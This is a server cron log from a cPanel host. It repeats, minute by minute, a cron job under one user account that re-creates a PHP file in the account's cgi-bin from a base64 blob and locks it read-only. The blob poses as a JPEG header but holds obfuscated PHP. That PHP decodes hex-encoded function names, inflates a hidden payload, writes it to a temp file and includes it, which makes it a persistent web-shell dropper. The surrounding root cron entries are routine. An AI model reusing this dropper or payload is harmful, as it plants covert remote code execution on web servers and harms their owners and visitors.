Nov 12 09:55:01 server CROND[8563]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:56:01 server CROND[9608]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:57:01 server CROND[10438]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 09:57:01 server CROND[10439]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:58:01 server CROND[11427]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:59:01 server CROND[12321]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:00:01 server CROND[13168]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 10:00:01 server CROND[13171]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 12 10:00:01 server CROND[13173]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 10:00:01 server CROND[13175]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:00:01 server CROND[13170]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 10:01:01 server CROND[14059]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 10:01:01 server CROND[14060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:01:01 server run-parts(/etc/cron.hourly)[14059]: starting 0anacron
Nov 12 10:01:01 server run-parts(/etc/cron.hourly)[14072]: finished 0anacron
Nov 12 10:02:01 server CROND[14897]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:03:01 server CROND[15733]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:04:01 server CROND[16547]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:05:01 server CROND[17480]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 10:05:01 server CROND[17481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:05:01 server CROND[17483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 10:05:01 server CROND[17484]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 10:06:01 server CROND[18433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:07:01 server CROND[19282]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
